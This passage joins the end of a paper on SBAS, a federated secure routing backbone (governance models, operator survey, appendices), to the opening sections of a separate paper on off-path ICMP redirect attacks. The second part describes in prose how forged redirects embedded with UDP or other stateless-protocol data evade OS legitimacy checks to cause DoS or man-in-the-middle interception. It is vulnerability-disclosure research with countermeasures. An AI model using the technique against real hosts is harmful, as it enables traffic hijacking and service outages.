ment nodes improves resilience to 0.985 (a 49.0% im-
provement), meaning 98.5% of adversaries were topolog-
ically incapable of hijacking SBAS-announced routes.

8 Incentives and Governance

Beyond the setup of the technical SBAS components, adop-
tion of SBAS would require coordination between participat-
ing ISPs, formation of organizations to handle governance,
and presenting/marketing SBAS to customers. To better un-
derstand network operator’s SBAS deployment incentives
and preference for governance models, we have conducted
a survey. In Sections 8.1 and 8.2, we discuss incentives and
possible models of governance for an SBAS deployment, fol-
lowed by a discussion of survey results in Section 8.3.

8.1 Deployment Incentives
Current market trends demonstrate demand for reliable and
secure Internet connectivity. SD-WAN, leased lines, and
Network-as-a-service products specifically designed to miti-
gate routing outages have seen widespread adoption for busi-
nesses in various sectors [4]. The willingness to purchase
these services despite substantial costs indicates that cus-
tomers are willing to pay a premium to protect against routing-
induced network outages. A candidate first customer may have
incentives for SBAS’s security properties that outweigh the
difficulties inevitable in early-stage technology deployment,
similar to the initial customer of the SCION network [45]. The
added cost of deploying SBAS is marginal if the infrastruc-
ture already supports SCION connectivity (currently natively
supported by 10 ISPs), but the additional customer base that
can be reached can provide major financial benefits. Our eval-
uation in Section 7.2 has shown that 5 SBAS PoPs can already
provide immediate security benefits to the first customer. The
current SCION-supporting ISPs would thus suffice for boot-
strapping SBAS.

We believe SBAS’s lightweight implementation will also
help it gain early adoption. Several survey responses (Sec-
tion 8.3) emphasize the necessity for interoperability with
current routing hardware and protocols, with minimum effect
on operational robustness as requisite for industry adoption
of any new routing security solution. Compared to BGPsec
and other proposed clean-slate routing protocols, SBAS uses
commodity network hardware and does not suffer from all-
or-nothing deployment security improvements.2 SBAS’s use

2Although the BGPsec signature validation implementation itself can be

of reliable, off-the-shelf networking components (BGP, iBGP,
and secure tunnels) reduces most of the effort required to im-
plement and maintain custom routing modules. This relative
ease of implementation translates to lower transition costs for
customers and more rapid experimentation under real-world
traffic flow conditions.

8.2 Governance Models
Due to the federated nature of the SBAS PoP operation, a
governance structure is needed to coordinate global opera-
tion (e.g., AS management, RPKI ROA distribution, and co-
ordination of secure and internal address ranges). We present
four different governance models that all received support in
our survey, presented in the order of their degree of central-
ization and reliance on existing structures.

Scenario 1: ICANN and regional Internet registries.
The regional Internet registries (RIRs) already play a major
role in coordinating the control plane of the Internet, e.g., by
allocating IP ranges, AS numbers, and providing hosted RPKI
services. They would therefore be natural entities to govern
a shared AS number for SBAS. Such a governance model
would also benefit from the strong ties between the RIRs and
the network providers. However, albeit they provide coordina-
tion activities and services to their members [6,10,13,48,67],
the RIRs do not cover operation of network infrastructure. Op-
erating SBAS would be orthogonal to other efforts by RIRs
to improve routing security.

Scenario 2: Multi-stakeholder organization. Under this
governance model, a foundation involving interested parties
such as ISPs and companies would run SBAS. This would
provide the benefit of creating an entity with a clear scope of
duties with regards to SBAS, entirely dedicated to guarantee
the smooth operation of SBAS, and which could also receive
dedicated contributions towards that effort. On the other hand,
this would require new structures to be set up.

Scenario 3: Federation of network providers. A gover-
nance model relying on the initiative of ISPs working together
to join (some of) their resources in SBAS, through a loose co-
ordination at the technical level between the involved parties,
building on letters of intent and bilateral agreements. In this
governance model, the network effect is less noticeable and
the early participants would bear the bulk of the burden of
driving the adoption of the initiative.

Scenario 4: Decentralized governance model. Each PoP
operator can join SBAS independently, in the same manner as
there is no centralized instance governing which TOR nodes
can join the network [65]. This model is most flexible for
PoP operators, with low barriers to entry for new operators.
However the continuity of operation of a sufficient number of
PoPs is not guaranteed, and sharing scarce resources such as
IP address space and AS numbers would be challenging.

incrementally deployable, it requires every hop in the routing path to sign its
path segments to achieve the desired security properties.
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Governance model recommendation. Based on the re-
sults of our survey (presented in Section 8.3) and the structure
of SBAS, we suggest the federation of network providers. Not
only did this structure receive the most votes in our survey,
but it has the benefit of placing the governance decisions in
the hands of ISPs, who are the ones responsible for running
SBAS PoPs and carrying SBAS traffic. Furthermore, it does
not require the involvement of any overly powerful or cen-
tralized organization, which many operators in our survey
expressed concerns over. While issues like IP, domain, and
ASN allocation inherently involve distribution of a shared
resource, governance of SBAS (which operates out of SCION
and IP address already controlled by participants) primarily
involves technical and policy coordination that can be done in
a more decentralized manner. We feel that in the same way the
MANRS project [53] has been successful in bringing together
ISPs to standardize routing security practices, a federation
of ISPs could also be successful in standardizing SBAS op-
erational practices. Additionally, in a real-world operation
of SBAS, the federation of providers may establish an asso-
ciation or foundation to create a more concrete structure to
govern, organize, and enforce the operation of all participants
(incorporating structures of Scenario 2).

8.3 Survey of Network Operators

Survey participants were recruited through direct contact, and
through the RIPE and NANOG mailing lists [60, 61], gar-
nering 31 responses. We summarize important results in this
section, and discusses detailed survey results in Appendix C.

Our survey indicates that network security is very important
to the operations of the majority of ISPs and there is a com-
munity of early adopters that would be interested in deploying
SBAS. Specifically, 26 out of 31 (84%) participants said, on
a scale of zero to five, that the importance of network security
to their ISP’s operations was either a four or a five. However,
when asked if secure routing was a marketable product, only
15 operators (of 31) responded with a four or five. This gap
in responses can be attributed to the usually assumed network
effect problem where a large critical mass of participants is
needed for substantial security benefits. In these cases, early
incentives are insufficient for early stakeholders to undergo
the costs of building a new system. This is a major reason why
other solutions that require high usages rates to yield security
improvements fail to see deployment (as is the case with BG-
Psec [52]). Even with substantial interest in the community,
many network operators do not see the financial benefits of
investing in secure routing, creating a self-fulfilling prophecy
of low adoption rates.

We proceeded to ask operators to gauge the interest of their
ISP offering SBAS to customers and eight operators rated it as
a four or five. Furthermore, this group of interested operators
seemed strongly convinced of the SBAS design: they reported
a mean score of 3.75 points on SBAS’s deployment feasibility

and a mean score of 4.6 on the effectiveness of SBAS against
routing attacks. The chief concerns for deployment cited were
mostly related to logistics, such as establishing inter-ISP iBGP
sessions and several ISPs sharing an ASN in the routing sys-
tem. While this is a minority of survey participants, it (1)
represents 53% of operators who felt secure routing was a
marketable productand (2) shows there is a non-trivial group
of convinced, interested early-adopters that would enable sub-
stantial security improvements through SBAS. Even with a
few early adopters, communication between SBAS partici-
pants and the broader Internet achieves substantially higher
resilience (e.g., 5 PoPs in Section 7.2).

Among the governance models, the federated model was
chosen by 14 participants (≈45%) as the most popular poten-
tial governance structure, followed by delegating responsibili-
ties over to the RIRs (35%), a decentralized model (13%), and
a multi-stakeholder organization (7%). Several respondents
stressed the importance of selecting a structure that would not
be dominated by large corporations and with mechanisms to
prevent it from growing beyond its needed scope.

By surveying network operators, we see some next steps
required for a production deployment of SBAS. We encour-
age network operators and the research community to work
collaboratively to establish SBAS as a production network.

9 Related Work

To improve on the limitations of BGP, various alternatives
have been suggested, including studies that use overlay tech-
nology to establish new routes [12, 35, 38, 83]. Particularly,
Andersen et al. propose RON (Resilient Overlay Network),
an architecture that constructs an overlay network using dis-
tributed applications, monitors the underlay routing paths in
real-time, and constructs new paths [7]. Peter et al. propose
the ARROW architecture, which flattens the Internet topology
using overlay tunnels between ISPs, and provides a new route
if needed [63]. Compared to SBAS, ARROW focuses on avail-
ability and only addresses use cases in which customers are
fully participating. Network pluralism articulates the need for
architectural heterogeneity [22, 44, 76]. Crowcroft et al. intro-
duce Plutarch, which describes each homogeneous network
architecture as context and enables communication across a
set of contexts by interstitial functions that interpret the encap-
sulated functionalities of each context [29]. Avramopoulos
and Rexford present a security backbone framework connect-
ing various secure routing architectures via a secure mesh of
virtual links [16]. Indeed, network pluralism enables the grace-
ful coexistence of diverse network architectures. However,
the approaches simply glue network architectures together,
supporting them to only survive. In contrast, SBAS not only
bridges secure routing infrastructures to the Internet in a syn-
ergistic manner, but also extends the benefits to the broader
Internet, enhancing them to thrive.
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10 Conclusion

While secure routing enjoyed much attention from the re-
search community over the past two decades, real-world adop-
tion has been lagging, perhaps due to the significant infras-
tructure changes required. With an ambition to make rapid
progress to secure routing, we investigate how to leverage a
secure communication backbone to secure communication
on the regular Internet. We design and deploy an architecture,
SBAS, in which communication between traditional IP end-
points are mediated via a secure backbone that is operated in
a federated manner. SBAS substantially reduces the threat of
inter-domain routing attacks and only incurs a small latency
overhead (and as our results show can even speed up some
end-to-end connections compared to the Internet). A core
contribution of this work is the incentive-compatible design.
SBAS does not compete with other secure routing architec-
tures, but instead demonstrates that an existing secure routing
infrastructure with limited deployment can already benefit the
rest of the Internet. While several challenges still exist when
deploying SBAS in a production setting, our survey shows
a potential path forward and our experimental results show
promise that sizable security improvements can be achieved
with even a small set of early adopters. We hope that SBAS
revitalizes the quest for secure inter-domain routing.
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A Overhead of SBAS Components at PoPs

In comparison to regular packet forwarding, an SBAS needs
to perform some additional computational steps, such as de-
cryption from the customer VPN tunnel and encapsulation to
remote PoPs. This first benchmark measures the overhead in-
curred by the SBAS components on packets passing through
a PoP. To obtain an upper bound on this overhead, we con-
sider communication between a pair of customer hosts. This
is the most computationally intensive scenario, as traffic is
sent through VPN tunnels on both sides.
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Figure 10: Overhead incurred by SBAS components at a PoP,
measured between the packet arrival from the customer to the
sending operation of the SCION packet through SBAS. In the
dashed data series, the final SCION step is omitted.

We run ping from the source customer to the destination
host with a 1s interval for an hour. The overhead is deter-
mined by subtracting timestamps of packets captured at the
SIG of the PoP from the corresponding timestamps of the
same packets captured at the WireGuard interface (after VPN
decapsulation, route selection, encapsulation, and tunneling
over SCION). This yields the following results.

The majority of packets have sub-millisecond over-
head at PoPs, with a mean of 0.83ms and a standard devia-
tion of 0.27ms. The SBAS component delay is also invariant
to packet size: repeated experiments with 1KB packets re-
ported a mean overhead of only 0.75ms. We attribute the tail
end of the distribution to operating system factors such as
process scheduling and resource contention. Recall that the
SBAS components only perform en/decapsulation and routing
of packets, exhibiting indistinguishable overhead for different
protocols. It is also important to note that, since the current
prototype is a software-based implementation, the processing
overhead can be further minimized with a production-grade
implementation, e.g., using the Data Plane Development Kit
(DPDK) [30] or hardware accelerators.

Figure 10 summarizes the latency expense incurred by
SBAS PoP component in sending a packet through the back-
bone. Moving from an overlay-based network like SCIONLab
to a native SCION network would reduce the SBAS overhead
further, as the outermost layer of encapsulation (SCION in
IP) would not be required anymore. Moreover, a production-
grade implementation of SCION could be used that performs
better than the open-source research prototype. The secondary
measurement indicated by the dashed line (which omits the
SCION latency) in Figure 10 provides a lower bound estimate
on the potential SBAS backbone latency: approximately 70%
of the median 0.74 ms latency can be attributed to SCION
latency, suggesting that the overhead of the SBAS-specific
infrastructure is in fact relatively light.

Since our technology is applied to inter-domain traffic, this
additional latency is negligible relative to the propagation
delay over larger geographical distances, which is often on
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Figure 11: Resilience comparison across known serial hi-
jacker ASes. We mark the maximum resilience gain offered
by SBAS for each AS adversary.

the order of 100ms and higher.

B Additional Simulation Results

Resilience definition For a given victim AS v ∈ V , we con-
sider a set of potential adversary ASes A along with a set
of potential traffic sources B . Let us consider an adversary
AS a ∈ A which attempts to launch an equally specific-prefix
hijack attack against a prefix p originated from v, and a traffic
source b ∈ B which sends traffic to p.

α(v,a,b) =

{
1 if a fails to hijack traffic from b to v
0 otherwise

In our simulations, selection among equally preferred paths is
made via a random tiebreak. Aggregating across the adversary
and traffic source sets, we compute a normalized resilience
measure for the victim:

β(v,A ,B) = ∑
a∈A

∑
b∈B

α(v,a,b)
|A ||B|

Intuitively, a resilience of 1 indicates that a node in set B
attempting to send traffic to a prefix originated by the victim
v will always route its traffic to the true origin, even in the
presence of equal prefix length attacks by the attackers in A .

Serial Hijacker Simulation The histogram in Figure 11
shows the results of the simulation of SBAS’s resilience
against a set of ASes with a history of serial BGP hijacking
attacks (as identified in Section 7.2.1. As previously men-
tioned, SBAS routes offer higher resilience than the baseline
approach for all of the 11 serial hijacking ASes, with a mean
resilience improvement of 114.7%. Although this result fo-
cuses on a relatively small adversary set, it demonstrates that
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Figure 12: The real-world deployment of SBAS including four
PoPs in the United States, Germany, Singapore, and Japan.

SBAS provides sizable security improvements against not
only randomly sampled adversaries but also notoriously mali-
cious ones.

Choice of BGP Announcement Node Locations
Locations for the BGP announcement nodes for the three-

to six-node SBAS configurations simulated in Section 7.2.1
were computed by simulating all possible N node combina-
tions from the set of 15 total transit-carrying PEERING nodes
against another random sample of 1000 AS attackers, and then
choosing the best performing node locations within them. In
general, we found that the globally optimal node location con-
figuration was equivalent to the iterative greedily optimized
one, which can serve as an efficient guiding principle for scal-
ing up the SBAS backbone in the future (starting from the
current deployment shown in Figure 12).

While SBAS may leverage any AS-level participant to an-
nounce BGP routes, we restricted the simulation to sets of
PEERING nodes as a parallel to deployments in the ethical
hijacking experiments. We note that choosing SBAS BGP
announcement nodes outside of the PEERING network may
provide further security gains, which will be a focus for fu-
ture work. We anticipate adding other announcement nodes in
geographical areas where PEERING has no presence, such as
Asia, may provide the greatest further resilience gains beyond
the simulated deployments.

C Details of Network Operators Survey

Our survey of network operators consisted of a four-minute
video describing SBAS (available at https://youtu.be
/xsLjcI-qRd0) followed by 19 questions divided into four
sections: Background, Incentives, Feasibility and Usefulness,
and Governance. We designed the survey to not only find out
operators opinion’s towards SBAS, but also find out what op-
erators thought of secure routing technologies in general since
people with different perspectives on secure routing are likely

to have different attitudes towards SBAS. By distributing the
survey through direct contact, the RIPE mailing list and the
NANOG mailing list, we received 31 responses to the survey.
A full description of survey questions and results is contained
in our tech report https://arxiv.org/abs/2206.06879.

D System Details of an SBAS PoP

Data Plane In order to handle packets, an SBAS node pri-
marily operates three routing tables for different types of
destinations: control, secure, and optimized. When a packet
has to egress the kernel of the SBAS PoP (either when coming
from the PoP itself or being forwarded), the PoP first checks
if the packet contains the source IP of the local router running
on the PoP. These are control packets used to enable the iBGP
sessions between different SBAS PoPs and are routed using
the control table (which contains routes to the IP addresses
used by the routers at different SBAS PoPs). This table is
loaded with the highest priority and is used exclusively for
inter-router communication.

Next, all packets are checked against the secure table. This
table contains the RPKI-validated routes to different SBAS
customers. If there is a covering prefix in the secure table,
a packet is always routed via this prefix (to the appropri-
ate SBAS customer) regardless of whether an Internet route
for that prefix or a more specific prefix exists. This prevents
routing loops (since customer’s secure prefixes are also an-
nounced to the Internet) and ensures that, even in the event of
a sub-prefix BGP hijack, a packet is sent through the secure
network to the right customer.

After this, all packets hit the optimized routing table. This
table contains routes to Internet destinations. These routes
either involve sending the packet to one of the PoPs Internet
peers or providers or sending it to another SBAS PoP in the
case where the SBAS PoP (this is appropriate in the case
where the SBAS PoP does not make BGP announcements or
an alternate PoP’s Internet route is selected by the routing
engine).

Control Plane Each SBAS PoP maintains three types of
BGP sessions: iBGP sessions with other PoPs, eBGP sessions
with SBAS customers, and eBGP sessions with Internet peers
and providers. Prefixes learned from each of these sessions are
loaded into different tables and handled in the data plane (see
Section D for more details). Furthermore, for Internet routes
and routes learned from other SBAS PoPs, the SBAS routing
engine performs route selection between different available
routes based on a user configurable metric that can vary from
security, to greenness, to preference for certain geographic
regions. This is done by having the BIRD routing demon
(which manages the BGP sessions) output routes in MRT
format [21] which is then parsed by the SBAS routing engine.
The SBAS routing engine then compares the user-defined
metric on the available routes in the MRT file and installed
the best one into the optimized routing table.
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Abstract
ICMP redirect is a mechanism that allows an end host to
dynamically update its routing decisions for particular des-
tinations. Previous studies show that ICMP redirect may be
exploited by attackers to manipulate the routing of victim traf-
fic. However, it is widely believed that ICMP redirect attacks
are not a real-world threat since they can only occur under
specific network topologies (e.g., LAN). In this paper, we
conduct a systematic study on the legitimacy check mecha-
nism of ICMP and uncover a fundamental gap between the
check mechanism and stateless protocols, resulting in a wide
range of vulnerabilities. In particular, we find that off-path
attackers can utilize a suite of stateless protocols (e.g., UDP,
ICMP, GRE, IPIP and SIT) to easily craft evasive ICMP error
messages, thus revitalizing ICMP redirect attacks to cause se-
rious damage in the real world, particularly, on the wide-area
network. First, we show that off-path attackers can conduct
a stealthy DoS attack by tricking various public servers on
the Internet into mis-redirecting their traffic into black holes
with a single forged ICMP redirect message. For example, we
reveal that more than 43K popular websites on the Internet are
vulnerable to this DoS attack. In addition, we identify 54.47K
open DNS resolvers and 186 Tor nodes on the Internet are vul-
nerable as well. Second, we show that, by leveraging ICMP
redirect attacks against NATed networks, off-path attackers in
the same NATed network can perform a man-in-the-middle
(MITM) attack to intercept the victim traffic. Finally, we de-
velop countermeasures to throttle these attacks.

1 Introduction

The ICMP redirect mechanism is designed to minimize the
number of route hops that a particular traffic flow has to
traverse on its way to the destination, thus optimizing the
forwarding path and reducing traffic volume that has to be
handled by each individual router [18,67]. Once a better route
is identified, the router will issue an ICMP redirect message to

*Corresponding author: xuke@tsinghua.edu.cn.

inform the alternative route to the originator. After receiving
the message and successfully validating its legitimacy, the
originator will update its routing table by setting the Gateway
Internet Address field in the message as its new next hop
to the destination. ICMP redirect mechanism is supported by
almost all major operating systems.

In principle, ICMP redirect messages should only be sent
by routers for reporting packet processing errors [2, 12, 67].
However, due to a lack of verifying the forwarding path of
packets in the current Internet [42, 87, 88], any host can im-
personate a router to forge ICMP error messages [26]. As a
result, an attacker may redirect traffic from an originator to a
specific host via sending forged ICMP redirect messages to
the victim originator. To solve this problem, ICMP specifica-
tions [6, 12, 31, 67] enforce a legitimacy check mechanism on
the ICMP error messages received by the originator, namely,
ICMP error messages should embed at least 28 octets (i.e., 20
octets of the IP header plus at least the first 8 octets) of the
original packet’s data that triggered the error message.

Therefore, it is a key issue to evade the legitimacy check
for an ICMP redirect attack. In previous broadcast networks
where hosts are linked by hubs, attackers can eavesdrop data
sent from the originator and then embed the data into a crafted
ICMP redirect message to evade the originator’s check, thus
misleading the originator’s traffic [8, 9, 48, 56, 63, 86]. Nowa-
days, with the wide deployment of switched networks where
hosts are linked by switches or routers, off-path attackers can
no longer eavesdrop network traffic of other hosts to easily
forge an acceptable ICMP redirect. Hence, previous ICMP
redirect attacks [8, 9, 48, 56, 63, 86] always fail in modern
network topologies.

Historically, several technical blogs and talks have dis-
cussed the method of performing malicious ICMP redirects
by off-path attackers [5, 22, 37, 41, 83]. For example, Linux
systems before kernel version 2.6.20 do not check ICMP error
messages embedded with UDP data, hence it is possible to
forge an acceptable ICMP redirect message embedded with
UDP data to perform off-path ICMP redirect attacks. How-
ever, modern OSes will check the existence of the embedded
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UDP socket, thus most prior methods will fail [5,22,37,83]. In
Kulas’s talk [41], ICMP echo messages are exploited to forge
redirect messages and evade the originator’s check mecha-
nism. However, the proposed ICMP redirect attack can only
succeed on local networks. Besides, in the real world, origina-
tors may disable ICMP echoes for performance and security
considerations [79], thus foiling the attack. In general, it is
widely believed that ICMP redirect attacks are not a real-
world threat since they can happen only in a limited network
topology [8, 9].

In this paper, we demonstrate that ICMP redirect attacks
can be revitalized to cause serious damages in the real world
without the limitation of network topologies [8, 9]. In partic-
ular, we discover that it is in fact widely applicable on the
wide-area networks. We reveal that due to the gap between
the legitimacy check mechanism of ICMP and a suite of state-
less protocols (e.g., ICMP, UDP, GRE [25], IPIP [64] and
SIT [61]), victim originators are inherently unable to check
the legitimacy of ICMP error messages embedded with this
type of protocol data. As a result, the victims may accept a
forged ICMP redirect message issued from off-path attackers
incorrectly, which incurs mis-redirecting their traffic obedi-
ently. This vulnerability affects a wide range of major OSes,
including Linux 2.6.20 and beyond, FreeBSD 8.2 and beyond,
Android 4.3 and beyond, and Mac OS 10.11 and beyond1.

In modern switched networks, off-path attackers cannot
eavesdrop the traffic of other hosts to craft ICMP redirect
messages. However, we discover that the ambiguities in the
legitimacy check mechanism of ICMP can be exploited by
off-path attackers to craft an evasive ICMP error message.
Since stateless protocols cannot remember the data that has
been sent earlier, if the attacker can force a victim originator
to eject stateless protocol data and then forge ICMP error mes-
sages embedded with this type of protocol data, it is difficult
for the originator to accurately check the legitimacy of the
message. Modern OSes may perform some simple checks,
e.g., if UDP data is embedded in the received ICMP error mes-
sages, Linux systems since kernel version 2.6.20 will check
the existence of the corresponding UDP socket. However,
off-path attackers can trick the originator into establishing
a predictable UDP socket in advance, and then they forge
ICMP errors embedded with this known UDP socket data, the
check enforced by the victim originator will be easily evaded.
Due to the memorylessness of UDP, the originator cannot
perform further check and will accept the forged message
ultimately. This inherent gap between the legitimacy check
mechanism of ICMP and stateless protocols allows off-path
attackers to easily forge evasive ICMP errors. In this paper,
we use a forged ICMP redirect message to falsely update a
victim’s routing and then mis-redirect its subsequent traffic to

1We discover that Windows is invulnerable since it does not strictly follow
the ICMP specifications. Windows enables the ICMP redirect mechanism by
default; however, it simply drops all received ICMP redirect messages even
if the messages are legitimate.

a specified host.
We demonstrate that our revitalized ICMP redirect attacks

can cause serious damages in the real world. First, an off-path
attacker can force a remote vulnerable target on the Internet to
route its traffic into black holes (hosts forwarding-disabled by
default) by issuing one forged ICMP redirect message, result-
ing in a stealthy DoS attack. Our experiments show that more
than 43,000 popular websites on the Internet are vulnerable.
Moreover, we demonstrate that our DoS attack can even be
performed to shut down the entire operation of a back-end ser-
vice such as DNS and Tor when the communication between
the originator and the destination is cut off, thus resulting in
a wider range of impact. We identify that 54,470 open DNS
resolvers and 186 Tor nodes on the Internet are vulnerable
to our attack. Second, when the attacker and the victim re-
side in the same network, we show that off-path attackers can
evolve to man-in-the-middle (MITM) and then perform var-
ious hijacking attacks, e.g., hijacking DNS requests in NAT
(Network Address Translation) [81] networks.

Finally, we develop different countermeasures against the
attacks and systematically measure their effectiveness. First,
we propose to change network settings to block spoofed ICMP
redirect messages on the Internet, which can prevent the re-
mote DoS attack under the deployment of the filtering mecha-
nism in ISPs. Second, we evaluate the possibility of adopting
protocol changes to improve the legitimacy check mecha-
nism for ICMP messages, e.g., embedding secrets in UDP
to authenticate the communications. Finally, we propose to
strictly distinguish between stateless protocols and stateful
protocols and disable ICMP redirect mechanism on stateless
protocols. This countermeasure can effectively defeat both
the DoS attack and the MITM attack above. Moreover, this
countermeasure can be easily deployed since it only needs to
make changes at specific hosts that are worried about ICMP
redirect attacks. We implement a prototype and evaluate this
countermeasure in our real-world network. The experimental
results demonstrate that it can effectively prevent the attacks
with a small side effect on the network performance.
Contributions. Our main contributions are as follows:

• We uncover a fundamental gap between the legitimacy
check mechanism of ICMP and stateless protocols, and
we reveal that the gap may lead to vulnerabilities in a wide
range of major OSes, including Linux 2.6.20 and beyond,
FreeBSD 8.2 and beyond, Android 4.3 and beyond, Mac
OS 10.11 and beyond.

• We demonstrate that ICMP redirect attacks can be per-
formed on the Internet, thus causing serious damages in the
real world. We identify more than 43,000 popular websites,
54,470 open DNS resolvers, and 186 Tor relay nodes on the
Internet are vulnerable to our attacks.

• We analyze the root cause and propose an enhanced ICMP
legitimacy check mechanism to prevent the attacks. A pro-
totype validates the effectiveness of our countermeasures.
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Ethical considerations. In this paper, we conduct two types
of real-world experiments to validate the feasibility and im-
pacts of the identified attacks, i.e., discovering public servers
vulnerable to DoS on the Internet (see §5) and hijacking a
vulnerable DNS forwarder’s requests in our campus network
(see §6). We consider ethics as a top priority when conducting
the experiments.

In the experiments of discovering vulnerable public servers
on the Internet, we use machines in our own testbed as the
destinations of the public servers. By issuing crafted ICMP
redirects, we only change the routing of the server’s packets
towards our own machines and thus our experiments do not
affect the normal users’ visiting of the servers. Besides, one
ICMP redirect message incurs negligible loads on the servers.
After the experiments, we restore the routing change of the
server via issuing a curative ICMP redirect message (i.e.,
specifying the server’s default gateway as the next hop to our
machines). We also confirm the effectiveness of the curative
ICMP redirect message.

Before conducting the experiments of hijacking DNS re-
quests in our campus network, we explain the details of our
attacks and the potential risks to the network administrators.
We obtain their approval to conduct the experiments only for
the research purpose. With the help of the administrators, we
conduct the experiments at midnight. The administrators con-
firm that no users access the target network before we perform
the experiment, preventing our experiments from incurring po-
tential privacy risks over normal users. Moreover, to minimize
the impacts on the forwarder’s DNS cache, we only intercept
the forwarder’s DNS queries for a specific website (i.e., the
target website of “www.yahoo.com” in our experiment). Once
the experiments finish, the network administrators reset the
DNS forwarder to the normal state.

2 Background

2.1 ICMP Redirect for Network Traffic
As a standard in RFC 792 since 1981 [67], the ICMP redirect
mechanism is utilized by routers to inform an originator of
a more optimal path from the originator to its destination. It
reduces the amount of hops that have to be travelled through
to reach the destination. Figure 1 shows the basic procedure of
ICMP redirects. When the gateway of the originator receives
an IP packet, the gateway will check its routing table to deter-
mine the address of the next gateway. If the next gateway and
the originator that is identified by the source IP address of the
packet are on the same network, an ICMP redirect message
will be sent to the originator from the gateway. The generated
ICMP redirect message advises the originator to send its traf-
fic for the destination network directly to the next gateway,
instead of the current gateway, since forwarding through the
next gateway directly is a shorter path to the destination.

Once the originator receives the ICMP redirect message

and the message passes its check, the originator sets the next
gateway as its next hop of the route to the destination. In the
ICMP specification [67], the Type field of the ICMP redirect
message is specified as 5, and the Code field can be specified
to 0, 1, 2, and 3, which means redirecting packets for the
network, redirecting packets for the host, redirecting packets
for the type of service and network, and redirecting packets
for the type of service and host, respectively. The next gateway
is specified in the Gateway Internet Address field of the
ICMP redirect message.

The ICMP redirect mechanism is useful to reduce route
hops and enable load balance among routers. If the redirect
mechanism is disabled, the originator will not be aware of the
most optimal route to the destination. As a result, the ICMP
redirect mechanism is enabled by default in IP implementa-
tions of a wide range of major OSes, e.g., Linux 2.6.20 and
beyond, FreeBSD 8.2 and beyond. The originators equipped
with these OSes accept ICMP redirect messages by default
and redirect their traffic to the specified Gateway Internet
Address (i.e., the next gateway) once the message passes the
check mechanism.

Destination
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Figure 1: Optimizing the routing path via ICMP redirects.

2.2 Legitimacy Checks over ICMP Errors

The ICMP redirect mechanism may also be exploited by at-
tackers to manipulate network traffic. An attacker can send
a forged ICMP redirect message to the originator, which in-
dicates that all future traffic for the destination must be redi-
rected to a specific system as the shorter route for the destina-
tion.

In order to prevent the abusing of ICMP redirects, when
an ICMP redirect message is received, the originator per-
forms two checks [6, 12, 67]. First, the originator checks if
the message was sent by its default gateway, i.e., the source
IP address of the ICMP redirect message should be specified
as the default gateway’s IP address. Second, ICMP error mes-
sages should carry at least 28 octets (i.e., 20 octets of the IP
header plus at least the first 8 octets) of the original packet
that triggered the error message. These 28 octets data will
be used by the originator to match the message to the corre-
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sponding process and check the legitimacy of the message.
Moreover, according to the newer standard RFC 1812 [6],
ICMP error messages should carry the most content of the
triggering packet, but not exceeding 576 octets.

2.3 Existing Evasions of the Checks

Unfortunately, even when the legitimacy checks over ICMP
redirects are implemented, attackers may still evade the
checks to perform ICMP redirect attacks. The first check
can be easily evaded due to the vulnerability of IP address
spoofing on the Internet. An off-path attacker can impersonate
the gateway of a victim originator to issue a spoofed ICMP
redirect message. According to prior studies [44, 49], about a
quarter of the Autonomous Systems (ASes) on the Internet
do not filter packets with spoofed source IP address leaving
their networks. In this paper, we identify that more than 5,100
ASes on the Internet do not enforce effective ingress filter-
ing [7, 28]. As a result, ICMP redirect messages with spoofed
source IP address of gateways within these ASes can pass the
whole routing path and be forwarded to the victim originators
(detailed later in §4).

The second check over the embedded payload in the ICMP
redirect message is more difficult to evade for off-path at-
tackers, even if the originator only enforces the weaker check
mechanism defined in RFC 792 (i.e., checking the first 28
octets of the original packet). As shown in Figure 2, when
the originator uses TCP as the higher level protocol to com-
municate with others, the attacker has to guess the four-tuple
that identifies a TCP connection and a sequence number in
the originator’s send window to craft an evasive ICMP redi-
rect message. In particular, it is hard for off-path attackers to
guess these values as the source port and sequence number
are randomly generated2 in modern operating systems [32].

Type = 5 Code 
Gateway Internet Address

Source Port

ICMP Checksum

Destination Port

Sequence Number

IP  Header

28
 o

ct
et

s

Figure 2: ICMP redirect message embedded with TCP.

In this paper, we show that the second check can be by-
passed, regardless of whether 28 octets or 576 octets are
checked. This is due to the gap between ICMP’s legitimacy
check mechanism and stateless protocols, which ultimately
leads to real-world ICMP redirect attacks described next.

2The initial sequence number is randomly generated and subsequent ones
increment monotonically based on it.

3 Vulnerability of Checking ICMP Errors

3.1 Gap in ICMP Legitimacy Check

Unlike TCP, stateless protocols cannot remember the data
that has been sent earlier. Hence, if an off-path attacker forges
ICMP error messages embedded with this type of protocol
data, it is difficult for the originator to accurately check the
legitimacy of the embedded data. As a result, the victim may
accept the forged messages. Once a forged ICMP redirect
message is accepted, the victim will falsely update its routing
according to the new gateway specified in the message. Con-
sequently, the entire traffic undertaken by IP will be affected
and cross attacked. In practice, it is reasonable to redirect all
subsequent traffic when the victim finds a better next hop,
since traffic routing occurs at the IP layer regardless of the
upper protocols. However, the complexity of interactions be-
tween different protocols poses many challenges to the current
network principles [26].

Current ICMP implementations may perform some checks
on the received ICMP error messages embedded with stateless
protocol data. For example, when a message embedded with
UDP datagram is received, Linux kernel version 2.6.20 and
beyond will check whether a UDP socket exists between it and
the destination. This check prevents previous ICMP redirect
attacks [22, 37, 83]. However, we discover that due to the
inherent gap in the legitimacy check mechanism of ICMP,
this check can be easily evaded.

In practice, modern OSes open several publicly known
UDP ports by default for lightweight services (e.g., NTP,
SNMP, DHCP, DNS and TFTP)3, and hence attackers can
first probe such an open UDP port on the victim and then
trick the victim into generating a predictable UDP socket for
the remote destination on the probed open port. After that,
the attacker forges an ICMP redirect message to the victim,
which is embedded with the known UDP socket and some
arbitrary padding data. The padding data cannot be checked
accurately due to the statelessness of UDP. As a result, the
forged ICMP redirect message will evade the security check
and be accepted incorrectly, i.e., a successful off-path ICMP
redirect attack against the victim. Besides UDP, we identify
that stateless protocols of ICMP, GRE [25], IPIP [64] and
SIT [61] can also be exploited by off-path attackers to evade
the ICMP legitimacy check mechanism. In our attacks, we
take UDP as a sample to elaborate and exploit the vulnera-
bility. Note that the method of using stateless protocols to
trigger the gap in the ICMP legitimacy check mechanism
is generic. Off-path attackers can exploit stateless protocols
to forge all types of ICMP error messages (not only ICMP
redirect messages) to evade the check.

3One open port is enough to conduct our attack. For instance, more than
6 UDP ports are open by default in Ubuntu 20.04 with Linux kernel version
5.4. We uncover that more than 43K web servers, 54K open DNS resolvers,
and 186 Tor relay nodes on the Internet open at least one UDP port (see §5).
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3.2 Vulnerable Implementations
The identified gap affects a wide range of implementations,
i.e., Linux 2.6.20 (released in February 2007) and beyond,
